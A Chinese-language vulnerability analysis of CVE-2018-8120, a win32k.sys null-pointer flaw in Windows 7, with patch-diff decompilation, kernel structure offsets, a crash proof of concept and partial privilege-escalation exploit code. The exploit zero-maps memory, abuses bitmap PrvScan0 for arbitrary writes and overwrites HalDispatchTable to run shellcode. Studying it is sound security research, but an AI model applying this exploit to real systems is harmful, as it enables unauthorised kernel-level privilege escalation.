CVE-2018-8120 Windows内核空指针漏洞分析
字数 876 2025-08-03 16:44:56
CVE-2018-8120 Windows内核空指针漏洞分析与利用
0x00 漏洞概述
CVE-2018-8120是Windows内核中的一个空指针解引用漏洞,存在于win32k.sys组件中。该漏洞于2018年5月由微软修复,影响Windows 7等操作系统。漏洞允许本地攻击者通过精心构造的请求实现权限提升。
0x01 漏洞分析
漏洞函数定位
通过对比4月和5月的安全补丁,可以定位到关键函数SetImeInfoEx。补丁主要增加了对spklList成员域的校验。
补丁对比分析
4月补丁反汇编代码:
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex) {
signed int result; // eax
int v3; // eax
int v4; // eax
result = pwinsta;
if (pwinsta) {
v3 = *(_DWORD *)(pwinsta + 0x14); // 获取spklList
while (*(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex) { // 未校验v3直接解引用
v3 = *(_DWORD *)(v3 + 8);
if (v3 == *(_DWORD *)(pwinsta + 0x14))
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if (!v4)
return 0;
if (!*(_DWORD *)(v4 + 0x48))
qmemcpy((void *)v4, piiex, 0x15Cu);
result = 1;
}
return result;
}
5月补丁反汇编代码:
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex) {
signed int result; // edx
int v3; // eax
int v4; // eax
if (!pwinsta)
return 0;
result = *(_DWORD *)(pwinsta + 0x14);
if (!result)
return 0;
v3 = *(_DWORD *)(pwinsta + 0x14);
while (*(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex) {
v3 = *(_DWORD *)(v3 + 8);
if (v3 == result)
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if (!v4)
return 0;
if (!*(_DWORD *)(v4 + 0x48))
qmemcpy((void *)v4, piiex, 0x15Cu);
return 1;
}
关键变化是增加了对spklList是否为空的检查。
相关数据结构
tagWINDOWSTATION结构:
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL // 漏洞关键成员
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
...
tagKL结构(键盘布局对象):
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__ // 用于比较的成员
+0x018 spkf : Ptr32 tagKBDFILE
...
+0x02c piiex : Ptr32 tagIMEINFOEX // 拷贝目标
...
tagIMEINFOEX结构:
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
...
+0x048 fLoadFlag : Int4B // 需要为0才能执行拷贝
...
0x02 漏洞复现
复现代码
#include <stdio.h>
#include <Windows.h>
typedef struct {
DWORD dwPrivateDataSize;
DWORD fdwProperty;
DWORD fdwConversionCaps;
DWORD fdwSentenceCaps;
DWORD fdwUICaps;
DWORD fdwSCSCaps;
DWORD fdwSelectCaps;
} tagIMEINFO;
typedef struct {
HKL hkl;
tagIMEINFO ImeInfo;
WCHAR wszUIClass[16];
DWORD fdwInitConvMode;
BOOL fInitOpen;
BOOL fLoadFlag;
DWORD dwProdVersion;
DWORD dwImeWinVersion;
WCHAR wszImeDescription[50];
WCHAR wszImeFile[80];
CHAR fSysWow64Only : 1;
BYTE fCUASLayer : 1;
} tagIMEINFOEX;
static BOOL __declspec(naked) NtUserSetImeInfoEx(tagIMEINFOEX* imeInfoEx) {
__asm { mov eax, 1226h };
__asm { lea edx, [esp+4] };
__asm { int 2eh };
__asm { ret };
}
int main() {
// 新建窗口站,spklList默认为0
HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hSta); // 关联当前进程
char buf[0x4];
memset(buf, 0x41, sizeof(buf));
// 触发空指针解引用
NtUserSetImeInfoEx((PVOID)&buf);
return 0;
}
执行后会导致系统蓝屏,问题出在win32k.sys中。
0x03 漏洞利用
利用思路
- 申请零页内存
- 创建新窗口站并与当前线程关联
- 申请并泄露Bitmap中的PrvScan0地址
- 在零页构造结构体绕过检查
- 调用NtUserSetImeInfoEx实现hManagerPrvScan0指向hworkerPrvScan0
- 覆盖HalDispatchTable+0x4为shellcode地址
- 调用NtQueryIntervalProfile执行shellcode提权
关键步骤实现
1. 申请零页内存
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
if (!NT_SUCCESS(NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) || Zero_addr != NULL) {
printf("Failed to alloc zero page!\n");
return 0;
}
ZeroMemory(Zero_addr, RegionSize);
2. 构造参数绕过检查
DWORD* faketagKL = (DWORD*)0x0;
// 构造pWorkerPrvScan0结构
*(DWORD*)((PBYTE)&fakepiiex + 0x0) = pWorkerPrvScan0;
*(DWORD*)((PBYTE)&fakepiiex + 0x4) = 0x104;
*(DWORD*)((PBYTE)&fakepiiex + 0x8) = 0x00001b97;
*(DWORD*)((PBYTE)&fakepiiex + 0xC) = 0x00000003;
*(DWORD*)((PBYTE)&fakepiiex + 0x10) = 0x00010000;
*(DWORD*)((PBYTE)&fakepiiex + 0x18) = 0x04800200;
// 绕过检查
*(DWORD*)((PUCHAR)faketagKL + 0x14) = pWorkerPrvScan0; // tagKL->hkl
*(DWORD*)((PUCHAR)faketagKL + 0x2C) = pManagerPrvScan0; // tagKL->piiex
xxNtUserSetImeInfoEx(&fakepiiex); // 实现pManagerPrvScan0->pWorkerPrvScan0
3. 提权执行shellcode
VOID GetShell() {
DWORD interVal = 0;
DWORD32 halHooked = GetHalOffset_4();
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
writeOOB(halHooked, (PVOID)&ShellCode, sizeof(DWORD32));
NtQueryIntervalProfile(0x1234, &interVal);
}
0x04 注意事项
- 该漏洞利用依赖于零页内存分配,在Windows 8及更高版本中难以利用
- 64位系统上的利用需要调整偏移量和汇编代码
- 实际利用时需要精确控制内存布局
0x05 参考资源
- https://www.freebuf.com/vuls/174183.html
- 微软安全公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120